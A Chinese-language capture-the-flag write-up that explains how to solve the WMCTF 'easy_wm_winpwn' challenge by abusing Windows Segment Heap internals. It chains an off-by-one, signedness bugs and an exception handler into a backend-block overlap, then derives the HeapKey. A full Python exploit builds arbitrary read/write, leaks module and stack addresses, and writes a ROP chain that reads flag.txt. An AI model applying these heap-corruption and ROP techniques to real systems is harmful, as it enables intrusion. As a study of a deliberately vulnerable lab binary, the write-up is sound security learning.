比赛的时候没注意,一直把这题当成Nt Heap去做了,最后无功而返,准备等一下官方的writeup学习一下。结果最后没有公布,只能自己再摸索一番了,才发现是个Segment Heap题,由于之前也没有接触过,就比较针对性地学习了一下,同时分享一下解题思路,如果有错误还请批评指正。
题目分析
FrontEndHeapDebugOptions
首先题目提供的附件中有一个start.bat
:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\easy_wm_winpwn.exe" /v FrontEndHeapDebugOptions /t REG_DWORD /d 0x8 /f
通过搜索FrontEndHeapDebugOptions
,可以找到BlackHat 2016的一个PDF,其中介绍的就是Windows Segment Heap的机制,本文也是从学习这个PDF而来的。
其中对于FrontEndHeapDebugOptions
有解释:
这说明这题不是Nt Heap,而是Segment Heap,两种Heap差别还是很大的。至于如何分辨这个Heap是Nt Heap还是Segment Heap,则可通过windbg调试确定:
主要逻辑
程序的逻辑并不复杂,只是套了许多小菜单,总的来说还是可以视为传统的菜单题。
简单来说,程序的功能就是注册用户,然后以某个用户的身份进行打怪的游戏,胜利之后可以进入到堆内存的操作逻辑。
其中,User management的菜单:
__int64 management()
{
__int64 result; // rax
unsigned int var14[5]; // [rsp+24h] [rbp-14h]
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("=========================");
puts("1.Create user");
puts("2.Show user information");
puts("3.Edit user name");
puts("4.ret");
puts("=========================");
puts("Your choice: ");
scanf("%d", var14);
getchar();
result = var14[0];
if ( var14[0] != 1 )
break;
create();
}
if ( var14[0] != 2 )
break;
show();
}
if ( var14[0] != 3 )
break;
edit();
}
if ( var14[0] == 4 )
break;
puts("Invalid choice");
}
return result;
}
相关的user结构体我们定义为:
struct user
{
int id;
char name[80];
char is_vip;
int score;
int age;
int hurt;
};
这个菜单中的漏洞是edit
的时候引入了off by one:
int edit()
{
int result; // eax
char v1; // [rsp+20h] [rbp-18h]
int v2; // [rsp+24h] [rbp-14h] BYREF
int i; // [rsp+28h] [rbp-10h]
puts("Please enter user id:");
scanf("%d", &v2);
getchar();
if ( v2 > 3 || v2 < 0 || v2 > max_id )
{
puts("Invalid id");
exit(0);
}
result = puts("Please enter username:");
for ( i = 0; i <= 0x50; ++i )
{
v1 = getchar();
result = v1;
if ( v1 == 10 )
break;
users[v2].name[i] = v1;
result = i + 1;
}
return result;
}
所以可以通过name溢出到is_vip
这个标志。
其次,一个没有在打印出来的菜单中显示出来的功能case 202108
:
int bonus()
{
_QWORD rax5; // rax
int result; // eax
int var18; // [rsp+20h] [rbp-18h]
int var14[5]; // [rsp+24h] [rbp-14h]
puts("Please enter user id:");
scanf("%d", &var18);
getchar();
if ( var18 > 3 || var18 < 0 || var18 > max_id )
{
puts("Invalid id");
exit(0);
}
LODWORD(rax5) = (unsigned __int8)users[var18].is_vip;
if ( users[var18].is_vip )
{
var14[0] = 0;
scanf("%d", var14);
LODWORD(rax5) = getchar();
if ( var14[0] < 100 )
{
rax5 = 100i64 * var18;
users[rax5 / 0x64].hurt = var14[0];
}
}
return rax5;
}
这里发现只要is_vip != 0
,就可以编辑user.hurt
的值,配合上面的edit
,我们就可以设置hurt
为任意小于100的值,不难注意到可以是负数。
另外,buy
功能提供了一个比较奇怪的操作:
void __fastcall buy()
{
int var18[6]; // [rsp+20h] [rbp-18h]
puts("Please enter user id:");
scanf("%d", var18);
getchar();
if ( var18[0] > 3u || var18[0] > (unsigned int)max_id )
{
puts("Invalid id");
exit(0);
}
if ( users[var18[0]].score > 0x98967Fu && !used )
{
used = 1;
puts("You can get a huge gift because you defeated the monster");
scanf("%d", var18);
getchar();
if ( var18[0] )
{
if ( var18[0] < 0x500u )
*(_QWORD *)(ptr - (unsigned int)(8 * var18[0])) = read_ll();
}
}
}
就是在user.score > 0x98967F
的时候,允许对ptr
指向的位置进行上溢的修改操作,但只有一次机会。
之后就是主题部分,game的逻辑了:
puts("======== Arena =========");
puts("1.Attack a L1near Monster");
puts("2.Improve combat effectiveness");
puts("3.Glory wall");
puts("4.ret");
puts("=========================");
这部分也比较简单,攻击的时候,只要user.hurt > rand() % 1000
即可,且这里是无符号比较,只要利用上面的编辑hurt
的功能修改为负数即可。
这样满足条件之后,就能提供三种tip
使用,这里定义tip的结构体如下:
struct tip
{
int user_id;
glory *glory;
__int64 secret;
int type;
char not_in_wall;
};
结合Glory Wall
的逻辑,这三种tip分别用途不同:
- tip1:只能做任意大小(0x20 ~ 0x80500)的
HeapAlloc
和HeapFree
(私有堆)。 - tip2:只能做固定大小(0x20 和 0x20000)的
HeapAlloc
和HeapFree
,且只能对0x20000
的块进行edit
以及show
。 - tip3:在
idx = 0
的时候,故意引入了一个除以0的异常:else if ( v4 == 3 && tip3_unused == 1 ) { Destination = (char *)HeapAlloc(hHeap, 8u, 0x100ui64); tips[idx].glory = (glory *)Destination; tips[idx].type = 3; tips[idx].user_id = a1; tips[idx].not_in_wall = 1; tips[idx].secret = (__int64)tips[idx].glory ^ 0x1A1A2B2B3C3C4D4Di64; strncpy(Destination, "You are a hero", 0x10ui64); v9 = 100 / idx++; tip3_unused = 0; }
相应的异常处理函数:
.text:00007FF6A2C72036 loc_7FF6A2C72036: ; DATA XREF: .rdata:00007FF6A2C75150↓o .text:00007FF6A2C72036 ; __except(loc_7FF6A2C73BD0) // owned by 7FF6A2C71F39 .text:00007FF6A2C72036 mov eax, 20h ; ' ' .text:00007FF6A2C7203B imul rax, 0 .text:00007FF6A2C7203F lea rcx, tips .text:00007FF6A2C72046 mov rax, [rcx+rax+8] .text:00007FF6A2C7204B mov cs:ptr, rax .text:00007FF6A2C72052 mov eax, cs:idx .text:00007FF6A2C72058 inc eax .text:00007FF6A2C7205A mov cs:idx, eax .text:00007FF6A2C72060 jmp short loc_7FF6A2C7206F
可以看出来是进行一个赋值操作
ptr = tip.glory
,这里就可以看出buy
功能对ptr
指向的位置进行上溢编辑的作用了。而
Improve combat effectiveness
这部分,就是提供一个设置score
为负数的机会:scanf("%d", &v2); getchar(); if ( v2 && users[a1].score > 0 && (unsigned int)(v2 - 1) <= users[a1].score ) { users[a1].score -= v2; users[a1].hurt += v2; }
可以看到在
score > 0
且v2 = score + 1
的情况下,结果是score = -1
,而buy
功能里if ( users[var18[0]].score > 0x98967Fu && !used )
同样是无符号比较,从而满足了条件。
菜单总结
这样,整个菜单我们就可以串起来了:
- 首先,创建一个
user
,在编辑user.name
的时候,利用off by one设置user.is_vip
,解锁case 202108
功能,从而实现编辑user.hurt
的值,使其满足user.hurt > 0x1000u
。 - 然后在进入
game
中,利用attack
功能,创建tip3
,触发除以0的异常处理逻辑,完成对全局变量ptr
的赋值,使ptr = tips[0].glory
。 - 之后利用
improve
功能,设置user.score = -1
,解锁buy
功能,提供一次上溢修改8 bytes的功能。 - 最后再结合tip1和tip2实现Segment Heap的利用。
解题过程
由于Segment Heap的机制比较复杂,内容较多,而本篇注重于解winpwn这道题,所以只会选择性地挑选重要的部分加以解释补充,如果有不正确的地方还望指正。
Segment Heap的空间分配框架
首先我们需要了解一下Segment Heap分配空间的整体框架:
结合这道题目,我们只关注Backend
的部分,即size <= 508 KB
的逻辑;此外,由于解题过程中并没有涉及到LFH(LowFragmentHeap)的逻辑,这里也不会有所涉及,只会关注于VS(Variable Size Allocation)的部分。
申请内存空间
首先在最开始的时候:
HANDLE init_buf()
{
FILE *v0; // rax
FILE *v1; // rax
FILE *v2; // rax
HANDLE result; // rax
v0 = _acrt_iob_func(1u);
setvbuf(v0, 0i64, 4, 0i64);
v1 = _acrt_iob_func(0);
setvbuf(v1, 0i64, 4, 0i64);
v2 = _acrt_iob_func(2u);
setvbuf(v2, 0i64, 4, 0i64);
result = HeapCreate(2u, 0i64, 0i64);
hHeap = result;
return result;
}
程序调用HeapCreate
创建了一个私有Heap。
在这个Heap的开头,存放着管理这整个Heap的结构体_SEGMENT_HEAP
:
0:004> dt _SEGMENT_HEAP
ntdll!_SEGMENT_HEAP
+0x000 EnvHandle : RTL_HP_ENV_HANDLE
+0x010 Signature : Uint4B
+0x014 GlobalFlags : Uint4B
+0x018 Interceptor : Uint4B
+0x01c ProcessHeapListIndex : Uint2B
+0x01e AllocatedFromMetadata : Pos 0, 1 Bit
+0x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0x020 ReservedMustBeZero1 : Uint8B
+0x028 UserContext : Ptr64 Void
+0x030 ReservedMustBeZero2 : Uint8B
+0x038 Spare : Ptr64 Void
+0x040 LargeMetadataLock : Uint8B
+0x048 LargeAllocMetadata : _RTL_RB_TREE
+0x058 LargeReservedPages : Uint8B
+0x060 LargeCommittedPages : Uint8B
+0x068 StackTraceInitVar : _RTL_RUN_ONCE
+0x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS
+0x0d8 GlobalLockCount : Uint2B
+0x0dc GlobalLockOwner : Uint4B
+0x0e0 ContextExtendLock : Uint8B
+0x0e8 AllocatedBase : Ptr64 UChar
+0x0f0 UncommittedBase : Ptr64 UChar
+0x0f8 ReservedLimit : Ptr64 UChar
+0x100 SegContexts : [2] _HEAP_SEG_CONTEXT
+0x280 VsContext : _HEAP_VS_CONTEXT
+0x340 LfhContext : _HEAP_LFH_CONTEXT
0:000> dt _HEAP_SEG_CONTEXT
ntdll!_HEAP_SEG_CONTEXT
+0x000 SegmentMask : Uint8B
+0x008 UnitShift : UChar
+0x009 PagesPerUnitShift : UChar
+0x00a FirstDescriptorIndex : UChar
+0x00b CachedCommitSoftShift : UChar
+0x00c CachedCommitHighShift : UChar
+0x00d Flags : <anonymous-tag>
+0x010 MaxAllocationSize : Uint4B
+0x014 OlpStatsOffset : Int2B
+0x016 MemStatsOffset : Int2B
+0x018 LfhContext : Ptr64 Void
+0x020 VsContext : Ptr64 Void
+0x028 EnvHandle : RTL_HP_ENV_HANDLE
+0x038 Heap : Ptr64 Void
+0x040 SegmentLock : Uint8B
+0x048 SegmentListHead : _LIST_ENTRY
+0x058 SegmentCount : Uint8B
+0x060 FreePageRanges : _RTL_RB_TREE
+0x070 FreeSegmentListLock : Uint8B
+0x078 FreeSegmentList : [2] _SINGLE_LIST_ENTRY
(这里的结构体和PDF中的描述的结构体有些不太一样,其中有些成员被放在了+0x100 SegContexts
中)。
其中_SEGMENT_HEAP.SegContexts.SegmentListHead
是一个双向链表节点,将所有的Segment都链起来,因为本题只涉及一个Segment,所以这里可以定位到Segment的位置。
在没有进行任何进一步的内存申请操作时,这个_SEGMENT_HEAP.SegContexts.SegmentListHead
指向本身。
而在我们进入game
逻辑,进行了内存分配(比如申请tip3)的时候,首先就会初始化一个Segment结构。
而对于每个Segment,其内存布局如下:
每个Segment开头都是一个_HEAP_PAGE_SEGMENT
结构体:
0:004> dt _HEAP_PAGE_SEGMENT
ntdll!_HEAP_PAGE_SEGMENT
+0x000 ListEntry : _LIST_ENTRY
+0x010 Signature : Uint8B
+0x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE
+0x020 UnusedWatermark : UChar
+0x000 DescArray : [256] _HEAP_PAGE_RANGE_DESCRIPTOR
其中这DescArray[2:255]
就是管理0x2000偏移开始的254个page的metadata。
0:000> dt _HEAP_PAGE_RANGE_DESCRIPTOR
ntdll!_HEAP_PAGE_RANGE_DESCRIPTOR
+0x000 TreeNode : _RTL_BALANCED_NODE
+0x000 TreeSignature : Uint4B
+0x004 UnusedBytes : Uint4B
+0x008 ExtraPresent : Pos 0, 1 Bit
+0x008 Spare0 : Pos 1, 15 Bits
+0x018 RangeFlags : UChar
+0x019 CommittedPageCount : UChar
+0x01a Spare : Uint2B
+0x01c Key : _HEAP_DESCRIPTOR_KEY
+0x01c Align : [3] UChar
+0x01f UnitOffset : UChar
+0x01f UnitSize : UChar
之后针对这个Destination = (char *)HeapAlloc(hHeap, 8u, 0x100ui64);
,即申请0x100的内存空间的操作,会进行VS SubSegment Allocation,也就是说要初始化一个VS SubSegment。
于是会触发Backend Allocation,从这个Segment中申请出一个Backend Block作为VS SubSegment使用,在实际调试过程中可以观察到:
0:004> dt _HEAP_PAGE_RANGE_DESCRIPTOR 0x23958f00000+40
ntdll!_HEAP_PAGE_RANGE_DESCRIPTOR
+0x000 TreeNode : _RTL_BALANCED_NODE
+0x000 TreeSignature : 0xccddccdd
+0x004 UnusedBytes : 0x1000
+0x008 ExtraPresent : 0y0
+0x008 Spare0 : 0y000000000000000 (0)
+0x018 RangeFlags : 0xf ''
+0x019 CommittedPageCount : 0x1 ''
+0x01a Spare : 0
+0x01c Key : _HEAP_DESCRIPTOR_KEY
+0x01c Align : [3] "???"
+0x01f UnitOffset : 0x11 ''
+0x01f UnitSize : 0x11 ''
-
DescArray[2].UnitSize = 0x11
表明该Backend Block由11个page构成(大小为0x11000),其中前10个page作为VS SubSegment的空间(0x10000),剩下的1个page是guard page,用来防止堆溢出影响到该VS SubSegment后面的内容:
-
DescArray[2].Rangeflags = 0xf
是标志位,各个bit表示:- 0x01: PAGE_RANGE_FLAGS_LFH_SUBSEGMENT,对于首个
DescArray
而言(例如在这里DescArray[2:0x12]
中的DescArray[2]
),表示该Backend block是LFH subsegment。 - 0x02:PAGE_RANGE_FLAGS_COMMITED。
- 0x04:PAGE_RANGE_FLAGS_ALLOCATED。
- 0x08:PAGE_RANGE_FLAGS_FIRST,表示该
DescArray
是首个。 - 0x20:PAGE_RANGE_FLAGS_VS_SUBSEGMENT,对于首个
DescArray
而言,表示该Backend block是VS subsegment。
- 0x01: PAGE_RANGE_FLAGS_LFH_SUBSEGMENT,对于首个
这样,在偏移0x2000 ~ 0x12000的这部分内存就是VS subsegment(不包括guard page),它开头的位置是一个_HEAP_VS_SUBSEGMENT
的管理结构体,紧接着后面就是VS block,将分配给用户使用:
0:004> dt _HEAP_VS_SUBSEGMENT
ntdll!_HEAP_VS_SUBSEGMENT
+0x000 ListEntry : _LIST_ENTRY
+0x010 CommitBitmap : Uint8B
+0x018 CommitLock : Uint8B
+0x020 Size : Uint2B
+0x022 Signature : Pos 0, 15 Bits
+0x022 FullCommit : Pos 15, 1 Bit
需要注意的是,每个VS Block的前0x20个字节是头部的metadata,从0x20开始才是分配给用户使用的区域,所以第一申请得到的内存地址为Segment + 0x2000 + 0x30 + 0x20
的位置。
接下来,如果继续调用attack
然后申请tip2
,触发HeapAlloc(hHeap, 8u, 0x20000ui64)
,即申请0x20000的内存时,由于实际会申请0x20000 + 0x10
(加个header)的空间,它将不会触发VS Allocation的分配机制而时使用Backend Allocation进行分配,拿出连续的page当作内存空间返回给用户使用。
具体地,就是从剩下的DescArray[0x13:0xFF]
的整块空间中,切割出DescArray[0x13:0x33]
管理的这0x21个page(偏移0x13000 ~ 0x34000)出来使用。
Backend Allocation对空闲内存的管理
这题的关键就在于,在Backend Allocation中,有一个关键的字段,即_HEAP_PAGE_RANGE_DESCRIPTOR.UnitSize
,(这里的_HEAP_PAGE_RANGE_DESCRIPTOR
指的是首个)。
它表示当前的Backend block有多少的空闲的page,即表明了有多少空闲的空间可以被分配出去。
存在多个Freed的Backend block的情况下,它们则用红黑树进行组织,但这里不对细节进行描述,只需要知道在正常情况下,Backend Allocation采用Best-Fit的方式,即找到满足大小的最小Backend block进行切割(如果有必要切割)分配。
可行的利用方式
结合以上简单的了解,围绕这道题,我们可以设计出一个可能的利用场景——伪造_HEAP_PAGE_RANGE_DESCRIPTOR.UnitSize
造成Backend block的overlap。
此外由于VS Subsegment也来自于Backend block,这样可以通过Backend block overlap达到对VS Subsegment整个结构的完全控制,或者更简单点,就能达到对VS block的二次分配:
+---------------+
| ....... |
+---------------+
+--| Page 0x02 |-------------------------+
| +---------------+ |
Backend block 0 <--+ | ....... | |
| +---------------+ |
+--| Page 0x22 | |
+---------------+ +--> Fake Backend block 0
+--| Page 0x23 |--+ | (overlap Backend block 1)
| +---------------+ | |
Backend block 1 <--+ | ....... | +--> VS Subsegment |
| +---------------+ | |
+--| Page 0x34 |--+----------------------+
+---------------+
| ....... |
+---------------+
利用思路
- 首先完成“菜单总结”部分的步骤,此时Segment Heap的各种结构已经完成初始化。
- 利用tip1(tips[1])的任意大小内存空间分配,分配0xfe90大小的空间,将VS block用尽。
- 再次利用tip1(tips[2]),分配0x20000大小的空间,触发Backend Allocation(记为Backend block 1)。
- 利用tip2(tips[3]),此时首先会分配0x20的空间,由于之前分配的VS block已经用尽,从而这次申请内存(< 0x20000)时,触发Backend Allocation(记为Backend block 2,与Backend block 1连续)分配内存给VS Subsegment。于是这个0x20的内存空间将落在Backend block 2中,Backend block 1之后。之后再分配0x20000的空间,该地址会存放在上面提到的0x20的结构体中。
- 释放Backend block 1,并利用
buy
功能,修改DescArray[0x13].UnitSize
,构造Backend block overlap,使得原Backend block 1 overlap Backend block 2。 - 利用tip1(tips[5]),分配0x20000大小的空间,切割Backend block 1,剩下的部分正好和Backend block 2重合。
- 利用tip2(tips[6]),VS Allocation正常分配第一个0x20的内存空间,而可编辑的0x20000的内存空间将通过Backend Allocation拿到Backend block 2的地址。
- 于是由于
tips[6].glory->buf
指向的地址空间正好位于VS Subsegment处,且tips[3].glory
和tips[6].glory
结构体也落在VS block的地方,那么通过编辑tips[6].glory->buf
然后show
就能打印出上面的Heap地址(由于HeapAlloc
传入的dwFlags = 8
,申请出来的内存内容会清空,但是由于tips[6].glory
是申请完再写入的,会被保留);再根据这个Heap地址即可计算出该Segment的基址。 - 同时,通过编辑
tips[6].glory->buf
指向的内存空间,就可以完全控制tips[3].glory
结构体,包括其中的tips[3].glory->buf
指针;但是由于tips[3].glory->encoding = 0x1a1a2b2b3c3c4d4d
,而\x1a
字符在Windows的字符流输入模式下相当于EOF,因此无法读入,故在对tips[3].glory->buf
进行edit
的时候只能一次只能写0x10 bytes,不过影响不大。 - 这样,我们就能通过
tips[3]
和tips[6]
构造出任意地址读的原语。 - 通过任意地址读,读取任意一个VS block的header,该header的前8 bytes是encode过的,具体通过:
header = header ^ HeapKey ^ block_addr
计算得出,同样的通过encode过的header,由于原header和block_addr都是已知的,可以反推出HeapKey的值(可以在调试过程中,读取
ntdll!RtlpHpHeapGlobals
结构体中的HeapKey
进行验证,这是一个_RTLP_HP_HEAP_GLOBALS
结构体)。 - 之后通过前面leak出来的Segment的地址,读出
_HEAP_PAGE_SEGMENT.ListEntry.Flink
(指向_SEGMENT_HEAP.SegContexts.SegmentListHeap
),从而计算出这个私有Segment Heap的首地址。 - 再leak出
_SEGMENT_HEAP.SegContexts.Callbacks.Allocate
指针,其值为encode过的ntdll!RtlpHpVsContextAllocate
值,其算法为:_SEGMENT_HEAP.SegContexts.Callbacks.Allocate = ntdll!RtlpHpVsContextAllocate ^ HeapKey ^ &_SEGMENT_HEAP.SegContexts
由于HeapKey已经计算出来了,所以只要根据encode的值推算出
ntdll!RtlpHpVsContextAllocate
的值即可,从而计算出ntdll的基地址。 - 之后就是常规套路了,通过
ntdll!PebLdr - 0x78
处的PEB相关地址,leak出PEB的地址,并且由于PEB和TEB的地址偏移固定,故可以leak出TEB的地址;此外还能读取PEB上存放的program base值,再通过程序IAT表中的导入函数,得到各个有需要的dll的基址即可;此外读取TEB中的Stack Base准备爆破game
函数函数栈位置。 - 最后在
game
的返回地址处写ROP进行ORW(这里尝试直接执行system("cmd.exe")
无法getshell,原因不明),且需要注意的是,与Linux下的用户态程序相比,Windows的栈行为有些不同:
从这张图中可以看出,作为调用者的Function A,其还会保留0x20 bytes的空间,供被调用的Function B存放四个参数寄存器RCX RDX R8 R9;也就是说,我们不能像在Linux下一样布置ROP,而要考虑到这部分`register parameter stack area`的空间会被破坏。
然后退出game,触发ROP读flag即可。
补充
由于我个人也没有完全搞清楚整个Segment Heap的机制,仅是在针对WMCTF winpwn这道题的情况下进行了部分的分析,整个过程也学习到了很多,但仍有许多细节没有弄清楚。原PDF分析得十分清楚,还需要深入地学习。
exp
from winpwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'
p = process("./easy_wm_winpwn.exe")
if len(sys.argv) == 2 and sys.argv[1] == '1':
windbgx.attach(p)
def choose(choice):
p.sendlineafter("Your choice: ", str(choice))
def enter_game(id):
choose(1)
p.sendlineafter("Please enter user id:", str(id))
def exit_game():
choose(4)
def attack(tip, size=0):
choose(1)
choose(tip)
if tip == 1:
p.sendlineafter("Acquired size: ", str(size))
def improve(val):
choose(2)
p.sendline(str(val))
def show_wall(idx):
choose(3)
choose(1)
p.sendlineafter("plz:", str(idx))
def edit_wall(idx, content):
choose(3)
choose(2)
p.sendlineafter("plz:", str(idx))
p.send(content)
def delete_wall(idx):
choose(3)
choose(3)
p.sendlineafter("plz:", str(idx))
def enter_manage():
choose(2)
def exit_manage():
choose(4)
def create_user(name, age):
choose(1)
p.sendafter("Please enter username:", name)
p.sendlineafter("Please enter age:", str(age))
def show_user(id):
choose(2)
p.sendlineafter("Please enter user id:", str(id))
def edit_user(id, name):
choose(3)
p.sendlineafter("Please enter user id:", str(id))
p.sendafter("Please enter username:", name)
def buy(id, offset, val):
choose(3)
p.sendlineafter("Please enter user id:", str(id))
p.sendlineafter("You can get a huge gift because you defeated the monster", str(offset))
p.sendline(str(val))
def bonus(id, val):
choose(0x3157C)
p.sendlineafter("Please enter user id:", str(id))
p.sendline(str(val))
def verify(id):
enter_manage()
show_user(id)
exit_manage()
def arbitrary_read(addr):
payload = "A" * 0x48 + p64(addr)
edit_wall(6, payload)
show_wall(3)
p.recvuntil("Content: ")
return u64(p.recvuntil('\r\n')[:-2][:8].ljust(8, "\x00"))
def arbitrary_write(addr, val):
payload = "A" * 0x48 + p64(addr)
edit_wall(6, payload)
edit_wall(3, val)
# off by one, change is_vip
enter_manage()
create_user("AAA\n", 0)
edit_user(0, "A" * 0x50 + '\x01')
exit_manage()
# use bonus to change hurt to a negative number
bonus(0, 1 << 31)
# verify
verify(0)
# trigger dividing zero exception and make score = -1
enter_game(0)
attack(3)
pause()
improve(2)
exit_game()
# verify
verify(0)
enter_game(0)
attack(1, 0xfe90) # use up
attack(1, 0x20000) # 2
attack(2) # 3 (new vs blocks)
attack(1, 0x20000) # 4 (gap)
improve(4) # make score = -1
delete_wall(2)
exit_game()
# backend block overlap
buy(0, 0x3bb, 0x4204ffff00000002) # change backend block size (overlap)
enter_game(0)
attack(1, 0x20000) # 5
attack(2) # 6 (now overlap done)
# leak heap address
payload = "A" * 0x80
edit_wall(6, payload)
show_wall(6)
p.recvuntil(p64(0x1a1a2b2b3c3c4d4d))
heap_addr = u64(p.recv(6) + "\x00" * 2)
# leak SEGMENT HEAP
res = arbitrary_read(heap_addr - 0x34010)
segment_heap_addr = res - 0x148
# leak and calulate HeapKey (ntdll!RtlpHpHeapGlobals->HeapKey)
res = arbitrary_read(heap_addr - 0x31fe0)
plain_head = 0x100000012000f
heapkey = res ^ (heap_addr - 0x31fe0) ^ plain_head
# leak ntdll base through callbacks
vs_context_addr = segment_heap_addr + 0x280
vs_context_callbacks_addr = vs_context_addr + 0x88
res = arbitrary_read(vs_context_callbacks_addr)
RtlpHpSegVsAllocate_addr = (res ^ vs_context_addr ^ heapkey)
ntdll_base = RtlpHpSegVsAllocate_addr - 0x77440
# leak PEB
pebldr_addr = ntdll_base + 0x16a4c0
peb_addr = arbitrary_read(pebldr_addr - 0x78) - 0x80
teb_addr = peb_addr + 0x1000
# leak program base
prog_base = arbitrary_read(peb_addr + 0x12) << 16
# leak stack base
stack_base = arbitrary_read(teb_addr + 0xa) << 16
# leak ucrtbase base
puts_iat = prog_base + 0x4228
puts_addr = arbitrary_read(puts_iat)
ucrtbase_base = puts_addr - 0x83d50
# leak kernel32 base
heap_create_iat = prog_base + 0x4000
heap_create_addr = arbitrary_read(heap_create_iat)
kernel32_base = heap_create_addr - 0x1ff50
# brute force stack address
game_ret_addr = prog_base + 0x27f1
stack_addr = stack_base - 0x8
while stack_addr > stack_base - 0x3000:
addr = arbitrary_read(stack_addr)
if addr == game_ret_addr:
break
stack_addr -= 8
# write rop
pop_rcx = ucrtbase_base + 0x2aa80
pop_rdx = kernel32_base + 0x24d92
pop_r8 = ntdll_base + 0x7223
pop_4regs = ntdll_base + 0x8c552
open_addr = ucrtbase_base + 0xa5550
read_addr = ucrtbase_base + 0x182a0
# cmd_exe = ucrtbase_base + 0xd0cb0
# system_addr = ucrtbase_base + 0xae5c0
# payload = p64(pop_rcx) + p64(cmd_exe) + p64(pop_rcx + 1) + p64(system_addr)
payload = p64(pop_rcx + 1) + p64(pop_rcx) + p64(stack_addr + 0xd0) + p64(pop_rdx) + p64(0) + p64(open_addr)
payload += p64(pop_4regs) + p64(0) * 4
payload += p64(pop_rcx) + p64(3) + p64(pop_rdx) + p64(heap_addr) + p64(pop_r8) + p64(0x30) + p64(read_addr)
payload += p64(pop_4regs) + p64(0) * 4
payload += p64(pop_rcx) + p64(heap_addr) + p64(puts_addr)
payload += "flag.txt\x00"
arbitrary_write(heap_addr + 0x88, p64(stack_addr))
edit_wall(6, payload)
# trigger rop
exit_game()
print("[+]segment_heap_addr: %s" % hex(segment_heap_addr))
print("[+]heapkey: %s" % hex(heapkey))
print("[+]ntdll_base: %s" % hex(ntdll_base))
print("[+]peb_addr: %s" % hex(peb_addr))
print("[+]teb_addr: %s" % hex(teb_addr))
print("[+]prog_base: %s" % hex(prog_base))
print("[+]stack_base: %s" % hex(stack_base))
print("[+]ucrtbase_base: %s" % hex(ucrtbase_base))
print("[+]kernel32_base: %s" % hex(kernel32_base))
print("[+]stack_addr: %s" % hex(stack_addr))
p.interactive()
发表评论
您还未登录,请先登录。
登录